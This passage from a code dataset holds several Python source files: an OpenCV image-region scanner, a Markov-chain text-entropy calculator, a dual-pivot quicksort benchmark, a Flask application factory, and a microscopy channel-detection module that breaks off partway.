{"seq_id": "35279228066", "text": "import cv2\nimport numpy as np\nimport sys\nfrom PIL import Image\n\n\ndef scan_for_drawings(path):\n    #handling too big resolutions\n    img = np.asarray(Image.open(path))\n    #img = cv2.imread(path)\n    height, width, channels = img.shape \n    if(height > 2500 or width > 2500):\n        img = cv2.pyrDown(img) \n    #process image\n    contours, hierarchy = get_areas(img)\n    contours2, mask = get_text(img)\n    centers = mark_text(img, contours2, mask)\n    crops = get_drawings(img, contours, hierarchy, centers)\n    #this is an option, but some data is lost (blurred image):\n    #if(height > 2500 or width > 2500):\n    #    img = cv2.pyrUp(img) \n    return img, crops\n\ndef mark_text(img, contours, mask):\n    centers = list()\n    for i in range(len(contours)):\n        x, y, w, h = cv2.boundingRect(contours[i])\n        mask[y:y+h, x:x+w] = 0\n        cv2.drawContours(mask, contours, i, (255, 255, 255), -1)\n        r = float(cv2.countNonZero(mask[y:y+h, x:x+w])) / (w * h)\n        if r > 0.2 and w > 8 and h > 8 and h < 100 and w > 200:  \n            cv2.rectangle(img, (x, y), (x+w-1, y+h-1), (0, 255, 0), 2)\n            cnt = contours[i]\n            moments = cv2.moments(cnt)\n            if(moments['m00']):\n                center_x = int(moments['m10']/moments['m00'])\n                center_y = int(moments['m01']/moments['m00'])\n                cv2.circle(img, (center_x, center_y), 5, (255,0,0), thickness=5)\n                centers.append((center_x, center_y))\n            else:\n                continue\n    return centers\n\ndef get_drawings(img, contours, hierarchy, centers):\n    crops = list()\n    for c in zip(contours, hierarchy):\n        rect = cv2.boundingRect(c[0])\n        current_hierarchy = c[1]\n        x,y,w,h = rect\n        color = (0,0,255)\n        if(current_hierarchy[3] < 0): \n            np.delete(contours, c[0])\n            continue\n        stop = 1\n        if(h > 50):\n            for center in centers:\n            #False - checks if it is no not\n            #if it is then 1, -1 if not and 0 if on border\n                if(cv2.pointPolygonTest(c[0],center,False) == 1):\n                    stop = 0\n            if(stop):\n                #draw rectangles (use for debugging)\n                #cv2.rectangle(img, (x,y), (x+w, y+h), color, 5)\n                crops.append(img[y:y+h, x:x+w])\n    return crops\n\ndef get_text(img):\n    #gradient method\n    small = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n    kernel = cv2.getStructuringElement(cv2.MORPH_ELLIPSE, (3, 3))\n    grad = cv2.morphologyEx(small, cv2.MORPH_GRADIENT, kernel)\n    _, bw = cv2.threshold(grad, 0.0, 255.0, cv2.THRESH_BINARY | cv2.THRESH_OTSU)\n    #connecting\n    kernel = cv2.getStructuringElement(cv2.MORPH_RECT, (9, 1)) \n    connected = cv2.morphologyEx(bw, cv2.MORPH_CLOSE, kernel)\n    im2, contours2, hierarchy2 = cv2.findContours(connected.copy(), cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_NONE)\n    mask = np.zeros(bw.shape, dtype=np.uint8)\n    return contours2, mask\n\ndef get_areas(img):\n    kernel = np.ones((20,20),np.uint8)\n    img_gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n    ret, img_gray = cv2.threshold(img_gray, 200, 255, 0)\n    erosion = cv2.erode(img_gray,kernel, 2)\n    im2, contours, hierarchy = cv2.findContours(erosion, cv2.RETR_CCOMP, cv2.CHAIN_APPROX_SIMPLE)\n    hierarchy = hierarchy[0]\n    return contours, hierarchy\n\n#use only for debugging\n#if __name__ == \"__main__\":\n#    #uncomment line 61 for debugging\n#    img_path = cv2.imread(str(sys.argv[1]))\n#    image, crops = scan_for_drawings(img_path)\n#    for crop in crops:\n#        cv2.imshow(\"Show\",crop)\n#        cv2.waitKey(30000)\n#        cv2.destroyAllWindows()\n#    cv2.imshow(\"Show\", image)\n#    cv2.waitKey(30000)\n#    cv2.destroyAllWindows()\n", "repo_name": "pite2017project/django_app", "sub_path": "ocr/scripts/scan_for_drawings.py", "file_name": "scan_for_drawings.py", "file_ext": "py", "file_size_in_byte": 3718, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "numpy.asarray", "line_number": 9, "usage_type": "call"}, {"api_name": "PIL.Image.open", "line_number": 9, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 9, "usage_type": "name"}, {"api_name": "cv2.pyrDown", "line_number": 13, "usage_type": "call"}, {"api_name": "cv2.boundingRect", "line_number": 27, "usage_type": "call"}, {"api_name": "cv2.drawContours", "line_number": 29, "usage_type": "call"}, {"api_name": "cv2.countNonZero", "line_number": 30, "usage_type": "call"}, {"api_name": "cv2.rectangle", "line_number": 32, "usage_type": "call"}, {"api_name": "cv2.moments", "line_number": 34, "usage_type": "call"}, {"api_name": "cv2.circle", "line_number": 38, "usage_type": "call"}, {"api_name": "cv2.boundingRect", "line_number": 47, "usage_type": "call"}, {"api_name": "numpy.delete", "line_number": 52, "usage_type": "call"}, {"api_name": "cv2.pointPolygonTest", "line_number": 59, "usage_type": "call"}, {"api_name": "cv2.cvtColor", "line_number": 69, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2GRAY", "line_number": 69, "usage_type": "attribute"}, {"api_name": "cv2.getStructuringElement", "line_number": 70, "usage_type": "call"}, {"api_name": "cv2.MORPH_ELLIPSE", "line_number": 70, "usage_type": "attribute"}, {"api_name": "cv2.morphologyEx", "line_number": 71, "usage_type": "call"}, {"api_name": "cv2.MORPH_GRADIENT", "line_number": 71, "usage_type": "attribute"}, {"api_name": "cv2.threshold", "line_number": 72, "usage_type": "call"}, {"api_name": "cv2.THRESH_BINARY", "line_number": 72, "usage_type": "attribute"}, {"api_name": "cv2.THRESH_OTSU", "line_number": 72, "usage_type": "attribute"}, {"api_name": "cv2.getStructuringElement", "line_number": 74, "usage_type": "call"}, {"api_name": "cv2.MORPH_RECT", "line_number": 74, "usage_type": "attribute"}, {"api_name": "cv2.morphologyEx", "line_number": 75, "usage_type": "call"}, {"api_name": "cv2.MORPH_CLOSE", "line_number": 75, "usage_type": "attribute"}, {"api_name": "cv2.findContours", "line_number": 76, "usage_type": "call"}, {"api_name": "cv2.RETR_EXTERNAL", "line_number": 76, "usage_type": "attribute"}, {"api_name": "cv2.CHAIN_APPROX_NONE", "line_number": 76, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 77, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 77, "usage_type": "attribute"}, {"api_name": "numpy.ones", "line_number": 81, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 81, "usage_type": "attribute"}, {"api_name": "cv2.cvtColor", "line_number": 82, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2GRAY", "line_number": 82, "usage_type": "attribute"}, {"api_name": "cv2.threshold", "line_number": 83, "usage_type": "call"}, {"api_name": "cv2.erode", "line_number": 84, "usage_type": "call"}, {"api_name": "cv2.findContours", "line_number": 85, "usage_type": "call"}, {"api_name": "cv2.RETR_CCOMP", "line_number": 85, "usage_type": "attribute"}, {"api_name": "cv2.CHAIN_APPROX_SIMPLE", "line_number": 85, "usage_type": "attribute"}]}
{"seq_id": "16546794365", "text": "\"\"\"\nAuthor：ZWP\nU202112277\n\"\"\"\nimport numpy as np\nimport matplotlib.pyplot as plt\n\ndef load_txt(file_path):\n    '''\n    Load txt document, pre-process text\n    :param file_path: File path\n    :return:  a very long string\n    '''\n    with open(file_path, encoding='utf8', errors='ignore') as f:\n        lines = f.readlines()\n    lines = [line.strip().lower() for line in lines]\n    total = lines[0]\n    for line in lines:\n        total += line\n    return total\n\n\ndef calc_entropy_str(string):\n    \"\"\"\n    Counting huge strings and calculating entropy\n    :param string: huge strings\n    :return: entropy,word probability\n    \"\"\"\n    dictionary = {}\n    lenth = len(string)\n    for i in string:\n        if i in dictionary.keys():\n            dictionary[i] += 1 / len(string)\n        else:\n            dictionary[i] = 1 / len(string)\n    array = np.array([float(i) for i in dictionary.values()])\n    sum = 0\n    for i in array:\n        sum += -i * np.log2(i)\n    #Return the Information entropy and the word probability from highest to lowest\n    return sum, sorted(dictionary.items(), key=lambda x: -x[1])\n\n\ndef cac_entropy_rate(dist,mat):\n    '''\n    Calculate the entropy rate for the data in the list\n    :param dist: stable distribution\n    :param mat: Transition Matrix\n    :return: entropy rate\n    '''\n    mat_=mat\n    mat_=mat_+(mat_==0)*1\n    ans=-dist*mat*np.log2(mat_)\n    return np.sum(ans)\n\n\ndef get_Markov_Transition_Matrix(string, order):\n    '''\n    Generate the Markov Transition Matrix based on the\n    order of the Markov chain and the string\n    :param string:the long string\n    :param order:the order of markov chain\n    :return:\n    '''\n    lenth = len(string)\n\n    if order == 0:\n        #Each row of the transition matrix is the same when the order is 0\n        dictionary = {}\n        for i in string:\n            if i in dictionary.keys():\n                dictionary[i] += 1\n            else:\n                dictionary[i] = 1\n        dict_len = len(dictionary)\n        distribution = np.array([float(i) for i in dictionary.values()]) / lenth\n        matrix = np.vstack([distribution for _ in range(dict_len)])\n        return matrix\n    else:\n        # List of strings according to the n-gram, each element of the list has a lenth of n\n        str_list = []\n        for i in range(lenth - order + 1):\n            element = string[i]\n            for j in range(1, order):\n                element += string[i + j]\n            str_list.append(element)\n        dictionary = {}\n        for i in str_list:\n            if i not in dictionary.keys():\n                dictionary[i] = len(dictionary)\n        matrix = np.zeros((len(dictionary), len(dictionary)))\n        for i in range(len(str_list) - 1):\n            matrix[dictionary[str_list[i]], dictionary[str_list[i + 1]]] += 1\n        qie = np.sum(matrix, axis=1, keepdims=True)\n        qie = qie + (qie == 0) * 1\n        matrix = matrix / qie\n        return matrix\n\n\ndef get_stalble_prob(matrix):\n    '''\n    Obtain stable probability distribution based on probability transition matrix\n    :param matrix: transition matrix\n    :return:stable probability distribution\n    '''\n    stalble_prob = np.ones((1, matrix.shape[0])) / matrix.shape[0]\n    while (1):\n        stalble_prob_ = stalble_prob @ matrix\n        '''\n        When the difference between the results of the two operations \n        has a second-order norm less than 10^-3, the operation ends\n        '''\n        if np.linalg.norm(stalble_prob_ - stalble_prob) < 1e-3:\n            break\n        stalble_prob = stalble_prob_\n\n    return stalble_prob\n\nif __name__=='__main__':\n    string_en = load_txt(\"English.txt\")\n    string_cn = load_txt(\"Chinese.txt\")\n    entropy_en, distribution_en = calc_entropy_str(string_en)\n    entropy_cn, distribution_cn = calc_entropy_str(string_cn)\n    print(\"The entropy of the English speech:\", entropy_en)\n    print(\"The entropy of the Chinese speech:\", entropy_cn)\n\n\n    plt.rcParams['font.sans-serif'] = ['SimHei']\n    plt.rcParams['axes.unicode_minus'] = False\n    plt.rcParams['font.size'] = 13\n\n    plt.figure(num=1, figsize=(18, 10))\n    plt.title(\"Distibution of English Speech (highest 20)\", size=26)\n    plt.bar([(\"space\" if (j == 0) else i[0]) for j, i in enumerate(distribution_en) if j < 20],\n            [i[1] for j, i in enumerate(distribution_en) if j < 20],\n            width=0.5, bottom=0, align='center', color='g', edgecolor='r', linewidth=2)\n    plt.xlabel(\"letters and punctuation\", size=28)\n    plt.ylabel(\"frequncy\", size=28)\n\n    plt.figure(num=2, figsize=(18, 10))\n    plt.title(\"Distibution of Chinese Speech (highest 20)\", size=26)\n    plt.bar([i[0] for j, i in enumerate(distribution_cn) if j < 20],\n            [i[1] for j, i in enumerate(distribution_cn) if j < 20],\n            width=0.5, bottom=0, align='center', color='g', edgecolor='r', linewidth=2)\n    plt.xlabel(\"letters and punctuation\", size=28)\n    plt.ylabel(\"frequncy\", size=28)\n\n    fig=plt.figure(figsize=(18, 10))\n    for i, string in enumerate([string_en, string_cn]):\n        for j,order in enumerate([0, 3, 5]):\n            markov_mat = get_Markov_Transition_Matrix(string, order)\n            stalble_prob = get_stalble_prob(markov_mat)\n            entropy_rate = cac_entropy_rate(stalble_prob,markov_mat)\n            if (i == 0):\n                language = \"English\"\n            else:\n                language = \"Chinese\"\n            plt.subplot(2, 3, 3 * i + (j + 1))\n            plt.title(\"Markov Transition Matrix in \"+language+\" (order:\"+ str(order)+\")\", size=10)\n            plt.imshow(markov_mat,cmap=\"Reds\")\n            print(\"The \" + language + \" speech's entropy rate is (order:\" + str(order) + \"):\", entropy_rate)\n    plt.show()", "repo_name": "AuroraArrebol/information_theory_projects", "sub_path": "Markov.py", "file_name": "Markov.py", "file_ext": "py", "file_size_in_byte": 5707, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "numpy.array", "line_number": 36, "usage_type": "call"}, {"api_name": "numpy.log2", "line_number": 39, "usage_type": "call"}, {"api_name": "numpy.log2", "line_number": 53, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 54, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 76, "usage_type": "call"}, {"api_name": "numpy.vstack", "line_number": 77, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 91, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 94, "usage_type": "call"}, {"api_name": "numpy.ones", "line_number": 106, "usage_type": "call"}, {"api_name": "numpy.linalg.norm", "line_number": 113, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 113, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.rcParams", "line_number": 128, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot", "line_number": 128, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.rcParams", "line_number": 129, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot", "line_number": 129, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.rcParams", "line_number": 130, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot", "line_number": 130, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 132, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 132, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 133, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 133, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.bar", "line_number": 134, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 134, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 137, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 137, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 138, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 138, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 140, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 140, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 141, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 141, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.bar", "line_number": 142, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 142, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 145, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 145, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 146, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 146, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 148, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 148, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 158, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 158, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 159, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 159, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.imshow", "line_number": 160, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 160, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 162, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 162, "usage_type": "name"}]}
{"seq_id": "26222175639", "text": "import  matplotlib.pyplot as plt\nimport timeit\nimport json\n\nimport sys\nsys.setrecursionlimit(20000)\n\ndef dual_pivot_partition(arr, low, high):\n    pivot1, pivot2 = arr[low], arr[high]\n    if pivot1 > pivot2:\n        pivot1, pivot2 = pivot2, pivot1\n        arr[low], arr[high] = arr[high], arr[low]\n    i, j = low + 1, high - 1\n    k = low + 1\n    while k <= j:\n        if arr[k] < pivot1:\n            arr[k], arr[i] = arr[i], arr[k]\n            i += 1\n        elif arr[k] >= pivot2:\n            while arr[j] > pivot2 and k < j:\n                j -= 1\n            arr[k], arr[j] = arr[j], arr[k]\n            j -= 1\n            if arr[k] < pivot1:\n                arr[k], arr[i] = arr[i], arr[k]\n                i += 1\n        k += 1\n    i -= 1\n    j += 1\n    arr[low], arr[i] = arr[i], arr[low]\n    arr[high], arr[j] = arr[j], arr[high]\n    return i, j\n\ndef dual_pivot_quick_sort(arr, low, high):\n    if low < high:\n        pivot1, pivot2 = dual_pivot_partition(arr, low, high)\n        dual_pivot_quick_sort(arr, low, pivot1-1)\n        dual_pivot_quick_sort(arr, pivot1+1, pivot2-1)\n        dual_pivot_quick_sort(arr, pivot2+1, high)\n\ndef func1(arr, low, high):\n    dual_pivot_quick_sort(arr, low, high)\n\n\n\nwith open(\"ex2.json\", \"r\") as in_file:\n    data = json.load(in_file)\n\ninput_sizes = []\nexecution_times = []\nfor input_data in data:\n    execution_time = timeit.timeit(lambda: func1(input_data, 0, len(input_data) - 1), number = 1)\n    input_sizes.append(len(input_data))\n    execution_times.append(execution_time)\n\nplt.plot(input_sizes, execution_times, 'o-')\nplt.xlabel(\"Input Size\")\nplt.ylabel(\"Execution Time(seconds)\")\nplt.title(\"Modified Quick Sort Algorithm Performance\")\nplt.show()\n", "repo_name": "ritaboury/ENSF338-Assignment2", "sub_path": "ex2.4.py", "file_name": "ex2.4.py", "file_ext": "py", "file_size_in_byte": 1694, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "69", "api": [{"api_name": "sys.setrecursionlimit", "line_number": 6, "usage_type": "call"}, {"api_name": "json.load", "line_number": 47, "usage_type": "call"}, {"api_name": "timeit.timeit", "line_number": 52, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 56, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 56, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 57, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 57, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 58, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 58, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 59, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 59, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 60, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 60, "usage_type": "name"}]}
{"seq_id": "22023663869", "text": "from flask import Flask\nfrom flask_migrate import Migrate\nfrom flask_sqlalchemy import SQLAlchemy\nfrom sqlalchemy import MetaData\nimport config\n# config.py에서 설정해준 다음, 생성한 app에 적용하기 위해 임포트한 config 적용\nfrom flaskext.markdown import Markdown\n\nnaming_convention = {\n    \"ix\": 'ix_%(column_0_label)s',\n    \"uq\": \"uq_%(table_name)s_%(column_0_name)s\",\n    \"ck\": \"ck_%(table_name)s_%(column_0_name)s\",\n    \"fk\": \"fk_%(table_name)s_%(column_0_name)s_%(referred_table_name)s\",\n    \"pk\": \"pk_%(table_name)s\"\n}\ndb = SQLAlchemy(metadata=MetaData(naming_convention=naming_convention))\nmigrate = Migrate()\n\n# create_app()로 app 만들어질때 마다 생성되지 않게 밖에서 선언\n# create_app() 될때 마다 초기화(init_app())\n# db 객체를 create_app 함수 안에서 생성하면 블루프린트와 같은 다른 모듈에서 불러올 수 없다\n\ndef create_app():\n    app = Flask(__name__)\n    app.config.from_object(config)\n\n    #ORM(SQLAlchemy)\n    db.init_app(app)\n    if app.config['SQLALCHEMY_DATABASE_URI'].startswith(\"sqlite\"):\n        migrate.init_app(app, db, render_as_batch=True)\n    else:\n        migrate.init_app(app, db)\n    #생성된 모델(models.py의 Question, Answer 클래스)를 migrate기능에 인식시키기\n    from . import models\n    # Terminal에서 flask db migrate, flask db upgrade 명령 입력하면\n    # pybo.db 리비전 파일이 생성되고(SQLite의 데이터베이스파일)\n    # question와 answer 데이블이 만들어진다.\n\n    #블루프린트\n    # 상대경로인 views 폴더에서 3가지 view.py 임포트\n    # 플라스트 어플인 app이 생성될 때 각 블루프린트 적용\n    from .views import main_views,question_views, answer_views, auth_views, comment_views, vote_views\n    app.register_blueprint(main_views.bp)\n    app.register_blueprint(question_views.bp)\n    app.register_blueprint(answer_views.bp)\n    app.register_blueprint(auth_views.bp)\n    app.register_blueprint(comment_views.bp)\n    app.register_blueprint(vote_views.bp)\n\n\n    # 필터\n    from .filter import format_datetime\n    app.jinja_env.filters['datetime'] = format_datetime\n\n    # markdown\n    Markdown(app, extensions=['nl2br', 'fenced_code'])\n\n    return app", "repo_name": "jaieve/flask-pybo", "sub_path": "pybo/__init__.py", "file_name": "__init__.py", "file_ext": "py", "file_size_in_byte": 2250, "program_lang": "python", "lang": "ko", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "69", "api": [{"api_name": "flask_sqlalchemy.SQLAlchemy", "line_number": 16, "usage_type": "call"}, {"api_name": "sqlalchemy.MetaData", "line_number": 16, "usage_type": "call"}, {"api_name": "flask_migrate.Migrate", "line_number": 17, "usage_type": "call"}, {"api_name": "flask.Flask", "line_number": 24, "usage_type": "call"}, {"api_name": "views.main_views.bp", "line_number": 43, "usage_type": "attribute"}, {"api_name": "views.main_views", "line_number": 43, "usage_type": "name"}, {"api_name": "views.question_views.bp", "line_number": 44, "usage_type": "attribute"}, {"api_name": "views.question_views", "line_number": 44, "usage_type": "name"}, {"api_name": "views.answer_views.bp", "line_number": 45, "usage_type": "attribute"}, {"api_name": "views.answer_views", "line_number": 45, "usage_type": "name"}, {"api_name": "views.auth_views.bp", "line_number": 46, "usage_type": "attribute"}, {"api_name": "views.auth_views", "line_number": 46, "usage_type": "name"}, {"api_name": "views.comment_views.bp", "line_number": 47, "usage_type": "attribute"}, {"api_name": "views.comment_views", "line_number": 47, "usage_type": "name"}, {"api_name": "views.vote_views.bp", "line_number": 48, "usage_type": "attribute"}, {"api_name": "views.vote_views", "line_number": 48, "usage_type": "name"}, {"api_name": "filter.format_datetime", "line_number": 53, "usage_type": "name"}, {"api_name": "flaskext.markdown.Markdown", "line_number": 56, "usage_type": "call"}]}
{"seq_id": "71879459750", "text": "import torch\nimport numpy as np\nfrom sting.utils.types import RecursiveNamespace\nfrom typing import Union\nfrom sting.mm.networks import LiveNet\nfrom sting.mm.utils import YoloLiveAugmentations, YoloLiveUnAugmentations\nfrom sting.segmentation.transforms import UnetTestTransforms\nfrom sting.regiondetect.utils import non_max_suppression, to_cpu, outputs_to_bboxes\nimport sys\nfrom scipy.signal import find_peaks, peak_prominences\nfrom skimage.measure import label, regionprops\nimport time\n\n\ndef get_loaded_model(param: RecursiveNamespace):\n    \"\"\"\n    Function to return a list of models and a list of \n    transforms applied before and after, each of the model is run \n\n    Arguments:\n        param: parameters used for the analysis\n    \n    Returns:\n        models: a model\n    \"\"\"\n    # net usually has two nets net.segment_model, net.barcode_model\n    net = LiveNet(param.Analysis)\n    net.load_state_dict()\n    net.eval()\n    return net\n\n\ndef bboxes_compare_error():\n    pass\n\ndef get_locations_btn_barcodes(channel_img, bbox_pred, param, raw_shape):\n    \"\"\"\n\n    This will take the channel_img, barcode_bboxes and gets the locations of the \n    channels to cut channels stacks out of the image\n    Arguments:\n        channel_img: channel segmentation img\n        bbox_pred: bbox predictions from the net that were cleaned\n        param: parameters used that continals things more things to clean up \n               in the barcode segment\n        raw_shape: raw shape of the phase contrast image shot\n\n    \"\"\"\n    bbox_centers = np.array(sorted([(bbox[0] + bbox[2])/2 for bbox in bbox_pred]))\n    distance_bboxes = np.diff(bbox_centers)\n    bbox_ok = np.logical_and(distance_bboxes > param.Analysis.Barcode.dist_thresholds.min,\n                            distance_bboxes < param.Analysis.Barcode.dist_thresholds.max)\n    all_bbox_ok = np.all(bbox_ok)\n    n_good_bboxes = sum(bbox_ok)\n    if n_good_bboxes >= 1:\n        first_idx = np.where(bbox_ok==True)[0][0]\n        first_good_bbox = bbox_centers[first_idx]\n    else:\n        return None, True\n    ideal_dist = param.Analysis.Barcode.dist_thresholds.dist\n    constructed_bboxes = np.concatenate((np.arange(first_good_bbox, 0, -ideal_dist),\n                                        np.arange(first_good_bbox+ideal_dist, raw_shape[1], ideal_dist)))\n    # calculate threshold on the bbox error here accurately\n    # there should be only one\n    #constructed_good_idx = np.where(constructed_bboxes==first_good_bbox)[0][0]\n    # we will use constructed bboxes by default\n    final_bbox_centers = constructed_bboxes.astype('int')\n    print(final_bbox_centers)\n    forbidden = [] # channels' centers can't be in this indices as they are take by barcode\n    barcode_regions = [forbidden.extend(list(range(center-param.Analysis.Barcode.dist_thresholds.size, \n                                                  center+param.Analysis.Barcode.dist_thresholds.size))) \n                           for center in final_bbox_centers]\n    \n    hist = np.sum(channel_img, axis=0)\n    peaks, _ = find_peaks(hist, distance=param.Analysis.Barcode.dist_thresholds.channel_dist)\n    prominences, _, _ = peak_prominences(hist, peaks)\n    peaks = peaks[prominences > param.Analysis.Barcode.dist_thresholds.prominences]\n    print(peaks)\n    first_bbox = final_bbox_centers[0]\n    last_bbox = final_bbox_centers[-1]\n    peaks = [peak for peak in peaks if (peak > first_bbox and peak < last_bbox)]\n    peaks_np = np.array(peaks)\n    num_channels = len(peaks_np)\n    btn_barcodes = list(zip(final_bbox_centers[:-1], final_bbox_centers[1:]))\n    channels_btn_barcode = {}\n    for i, r in enumerate(btn_barcodes, 0):\n        channels_btn_barcode[i] = {}\n        valid_channels = np.logical_and(peaks_np > r[0], peaks_np < r[1])\n        channels_btn_barcode[i]['num_channels'] = np.sum(valid_channels)\n        channels_btn_barcode[i]['channel_locations'] = peaks_np[valid_channels]\n    \n    return channels_btn_barcode, False\n\n\ndef get_channel_locations(channel_img, bboxes_final, param, raw_shape):\n    bbox_centers_confidences = [((bbox[0] + bbox[2])/2, bbox[4]) for bbox in bboxes_final]\n    bbox_centers_confidences = sorted(bbox_centers_confidences, key=lambda x:x[0])\n    bbox_centers = np.array([x[0] for x in bbox_centers_confidences])\n    bbox_confidences = np.array([x[1] for x in bbox_centers_confidences]) \n    distance_bboxes = np.diff(bbox_centers)\n    block_ok = np.logical_and(distance_bboxes > param.Analysis.Barcode.dist_thresholds.min,\n                                distance_bboxes < param.Analysis.Barcode.dist_thresholds.max)\n    \n    # TODO: use these to convey error status later\n    all_blocks_ok = np.all(block_ok)\n    n_possible_good_blocks = sum(block_ok)\n\n    broken_blocks = np.where(block_ok == False)[0]\n\n    corrected_bboxes = bbox_centers.copy()\n    for broken_idx in broken_blocks:\n        left_center, right_center = bbox_centers[broken_idx], bbox_centers[broken_idx+1]\n        left_conf, right_conf = bbox_confidences[broken_idx], bbox_confidences[broken_idx+1]\n        if left_conf >= right_conf:\n            corrected_bboxes[broken_idx+1] = min(corrected_bboxes[broken_idx] + param.Analysis.Barcode.dist_thresholds.dist,\n                                                 raw_shape[1])\n        else:\n            corrected_bboxes[broken_idx] = max(corrected_bboxes[broken_idx+1] - param.Analysis.Barcode.dist_thresholds.dist, \n                                                0)\n    \n    #print(f\"After correcttions: {corrected_bboxes}\")\n    final_bboxes = np.concatenate((np.sort(np.arange(corrected_bboxes[0], 0, -param.Analysis.Barcode.dist_thresholds.dist)),\n                                    corrected_bboxes[1:-1],\n                                   np.sort(np.arange(corrected_bboxes[-1], raw_shape[1], param.Analysis.Barcode.dist_thresholds.dist))))\n    #print(f\"Final bboxes: {final_bboxes}\")\n    channel_img = channel_img > param.Analysis.Segmentation.thresholds.channels.probability\n    hist = np.sum(channel_img, axis=0)\n    #print(hist)\n    #peaks, props = find_peaks(hist, distance=param.Analysis.Barcode.dist_thresholds.channel_dist)\n    peaks, props = find_peaks(hist, prominence=param.Analysis.Barcode.dist_thresholds.prominences, \n                                distance=param.Analysis.Barcode.dist_thresholds.channel_dist/1.5)\n    #prominences, _, _ = peak_prominences(hist, peaks, wlen=2*param.Analysis.Barcode.dist_thresholds.channel_dist)\n    prominences = props['prominences']\n    #print(peaks, prominences)\n    peaks = peaks[prominences > param.Analysis.Barcode.dist_thresholds.prominences]\n    \n    btn_barcodes = []\n    btn_barcodes.append((0, final_bboxes[0]))\n    btn_barcodes.extend(list(zip(final_bboxes[:-1], final_bboxes[1:])))\n    btn_barcodes.append((final_bboxes[-1], raw_shape[1]))\n\n    channels_btn_barcode = {}\n    for i, (b_l, b_r) in enumerate(btn_barcodes, 0):\n        channels_btn_barcode[i] = {}\n        valid_channels = np.logical_and(peaks > b_l, peaks < b_r)\n        channels_btn_barcode[i]['num_channels'] = np.sum(valid_channels)\n        channels_btn_barcode[i]['channel_locations'] = peaks[valid_channels]\n    #print(channels_btn_barcode)\n    \n    return channels_btn_barcode, False\n\n\ndef get_channel_locations_corr(channel_img, bboxes_final, param, raw_shape, prev_channels):\n    pass\n\ndef cut_channels_and_props(image, raw_shape, channel_locations, channel_width, min_area=20):\n    \"\"\"\n    A function that takes a segmented binary mask and returns labelled images and \n    properties that are pushed to the tracking queue for cell-tracking\n    \"\"\"\n    n_channels = len(channel_locations)\n    height, width = raw_shape[0], raw_shape[1]\n    labelled_slices = np.zeros((height, 2*channel_width*n_channels), dtype='uint8')\n    props = {}\n    for i, location in enumerate(channel_locations, 0):\n        sliced_img = label(image[:, location-channel_width:location+channel_width])\n        labelled_slices[:, i * 2 * channel_width: (i+1) * 2 * channel_width] = sliced_img\n        props_slice 